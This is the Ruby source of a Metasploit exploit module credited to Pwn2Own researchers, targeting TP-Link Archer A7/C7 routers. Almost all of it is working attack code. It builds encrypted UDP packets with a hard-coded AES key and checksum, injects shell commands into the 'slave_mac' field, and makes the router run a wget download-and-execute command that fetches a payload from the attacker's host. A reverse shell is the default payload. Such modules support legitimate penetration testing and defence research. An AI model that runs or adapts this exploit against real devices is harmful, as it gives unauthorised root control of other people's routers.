## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726. The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host. This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + Radek Domanski). This module was updated in November 2020, after a bypass was discovered for the patch TP-Link issued. The new injection technique works on older firmware too. All firmware versions up to (but excluding) releases 201029 and 201030 are exploitable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro ', # Vulnerability discovery and Metasploit module 'Radek Domanski @RabbitPro' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2020/minesweeper.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2020/minesweeper.md'], [ 'CVE', '2020-10882'], [ 'CVE', '2020-10883'], [ 'CVE', '2020-10884'], [ 'CVE', '2020-28347'], [ 'ZDI', '20-334'], [ 'ZDI', '20-335'], [ 'ZDI', '20-336' ] ], 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, 'Payload' => {}, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp', 'WfsDelay' => 15 }, 'Targets' => [ [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware up to 201029/30)', {} ] ], 'DisclosureDate' => '2020-03-25', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options( [ Opt::RPORT(20002) ] ) register_advanced_options( [ OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15]) ] ) end def check vuln_versions = [ # older versions not listed here are also vulnerable 'app.1575358240615.manifest', # A7 191203 'app.1582117229115.manifest', # A7 200220 'app.1595301495454.manifest', # A7 200721 'app.1564127413977.manifest', # C7 190726 'app.1593336984117.manifest', # C7 201030 ] fixed_versions = [ 'app.1603185012713.manifest', # A7 201029 'app.1603240096315.manifest' # C7 201030 ] begin for version in vuln_versions res = send_request_cgi({ 'uri' => "/webpages/#{version}", 'method' => 'GET', 'rport' => 80 }) if res && res.code == 200 return Exploit::CheckCode::Vulnerable end end for version in fixed_versions res = send_request_cgi({ 'uri' => "/webpages/#{version}", 'method' => 'GET', 'rport' => 80 }) if res && res.code == 200 return Exploit::CheckCode::Safe end end rescue ::Rex::ConnectionError pass end return Exploit::CheckCode::Unknown end def calc_checksum(packet) # reference table used to calculate the packet checksum # used by tdpd_pkt_calc_checksum (0x4037f0) # located at offset 0x0416e90 in the binary reference_tbl = [ 0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee, 0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4, 0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79, 0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c, 0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d, 0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41, 0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83, 0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9, 0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa, 0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10, 0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b, 0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8, 0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32, 0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d, 0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf, 0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95, 0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6, 0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c, 0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01, 0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85, 0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78, 0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98, 0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6, 0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30, 0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82, 0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9, 0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15, 0xda, 0x2d, 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0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a, 0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a, 0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3, 0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80, 0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b, 0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9, 0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e, 0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f, 0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06, 0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36, 0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf, 0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc, 0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77, 0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5, 0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a, 0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b, 0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3, 0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72, 0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a, 0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5, 0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2, 0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81, 0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47, 0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11, 0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff, 0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e, 0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16, 0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9, 0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae, 0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd, 0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3, 0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23, 0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b, 0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a, 0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d ] res = 0xffffffff # main checksum calculation packet.each_entry do |c| index = ((c ^ res) & 0xff) * 4 # .reverse is needed as the target is big endian ref = reference_tbl[index..index + 3].reverse.pack('C*').unpack1('L') res = ref ^ (res >> 8) end checksum = ~res checksum_s = [checksum].pack('I>').force_encoding('ascii') # convert back to string packet = packet.pack('C*').force_encoding('ascii') # and replace the checksum packet[12] = checksum_s[0] packet[13] = checksum_s[1] packet[14] = checksum_s[2] packet[15] = checksum_s[3] packet end def aes_encrypt(plaintext) # Function encrypts perfectly 16 bytes aligned payload if (plaintext.length % 16 != 0) return end cipher = OpenSSL::Cipher.new 'AES-128-CBC' # in the original C code the key and IV are 256 bits long... but they still use AES-128 iv = '1234567890abcdef' key = 'TPONEMESH_Kf!xn?' encrypted = '' cipher.encrypt cipher.iv = iv cipher.key = key # Take each 16 bytes block and encrypt it plaintext.scan(/.{1,16}/) do |block| encrypted += cipher.update(block) end encrypted end # rubocop:disable Naming/MethodParameterName, Style/FormatStringToken def create_injection(c, literal: false) # Template for the command injection # The injection happens at "slave_mac" (read advisory for details) # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions. # This will fail if we send a command with single quotes (') # ... but that's not a problem for this module, since we don't use them for our command. # It might also fail with double quotes (") since this will break the JSON... if literal inject = c else inject = "\'`printf \'#{c}\'>>#{@cmd_file}`\'" end template = '{"method":"slave_key_offer","data":{'\ "\"group_id\":\"#{rand_text_numeric(1..3)}\","\ "\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\ '"slave_mac":"%{INJECTION}",'\ "\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\ "\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\ '"want_to_join":false,'\ "\"model\":\"#{rand_text_alpha(5..13)}\","\ "\"product_type\":\"#{rand_text_alpha(5..13)}\","\ '"operation_mode":"A%{PADDING}"}}' # This is required to calculate exact template length without replace flags template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length # This has to be initialized to cover the situation when no padding is needed pad = '' padding = rand_text_alpha(16) template_len += inject.length # Calculate pad if padding is needed if (template_len % 16 != 0) pad = padding[0..15 - (template_len % 16)] end # Here the final payload is created format(template, INJECTION: inject.to_s, PADDING: pad.to_s) end # rubocop:enable Naming/MethodParameterName, Style/FormatStringToken def update_len_field(packet, payload_length) new_packet = packet[0..3] new_packet += [payload_length].pack('S>') new_packet += packet[6..] new_packet end def exec_cmd_file(packet) # This function handles special action of exec # Returns new complete tpdp packet inject = "\'`sh #{@cmd_file}`\'" payload = create_injection(inject, literal: true) ciphertext = aes_encrypt(payload) if !ciphertext fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!") end new_packet = packet[0..15] new_packet += ciphertext new_packet = update_len_field(new_packet, ciphertext.length) calc_checksum(new_packet.bytes) end # Handle incoming requests from the router def on_request_uri(cli, _request) if !@payload_sent print_good("#{peer} - Sending executable to the router") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload_exe) @payload_sent = true end end def exploit if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::')) fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") end if datastore['SSL'] fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it') end print_status("Attempting to exploit #{target.name}") tpdp_packet_template = [0x01].pack('C*') + # packet version, fixed to 1 [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh) [0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table [0x00].pack('S>*') + # packet len [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function [0x00].pack('C*') + # dunno what this is [rand(0xff), rand(0xff), rand(0xff), rand(0xff)].pack('C*') + # serial number, can by any value [0x5A, 0x6B, 0x7C, 0x8D].pack('C*') # Checksum placeholder srv_host = datastore['SRVHOST'] srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) payload_file = rand_text_alpha_lower(1) # generate our payload executable @payload_exe = generate_payload_exe # Command that will download @payload_exe and execute it download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}" http_service = "http://#{srv_host}:#{srv_port}" print_status("Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => "/#{payload_file}" } }) print_status("#{peer} - Connecting to the target") connect_udp print_status("#{peer} - Sending command file byte by byte") print_status("#{peer} - Command: #{download_cmd}") mod = download_cmd.length / 5 download_cmd.each_char.with_index do |c, index| # Generate payload payload = create_injection(c) if !payload fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!") end # Encrypt payload ciphertext = aes_encrypt(payload) if !ciphertext fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!") end tpdp_packet = tpdp_packet_template.dup tpdp_packet += ciphertext tpdp_packet = update_len_field(tpdp_packet, ciphertext.length) tpdp_packet = calc_checksum(tpdp_packet.bytes) udp_sock.put(tpdp_packet) # Sleep to make sure the payload is processed by a target Rex.sleep(1) # Print progress if ((index + 1) % mod == 0) percentage = 20 * ((index + 1) / mod) # very advanced mathemathics in use here to show the progress bar print_status("#{peer} - [0%]=#{' =' * ((percentage * 2 / 10 - 1) - 1)}>#{' -' * (20 - (percentage * 2 / 10))}[100%]") if percentage == 100 # a bit of cheating to get the last char done right # rubocop:disable Lint/UselessAssignment index = -2 # rubocop:enable Lint/UselessAssignment end # print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}") end end # Send the exec command. From here we should receive the connection print_status("#{peer} - Command file sent, attempting to execute...") tpdp_packet = exec_cmd_file(tpdp_packet_template.dup) udp_sock.put(tpdp_packet) timeout = 0 until @payload_sent Rex.sleep(1) timeout += 1 if timeout == datastore['MAX_WAIT'].to_i fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(") end end disconnect_udp end end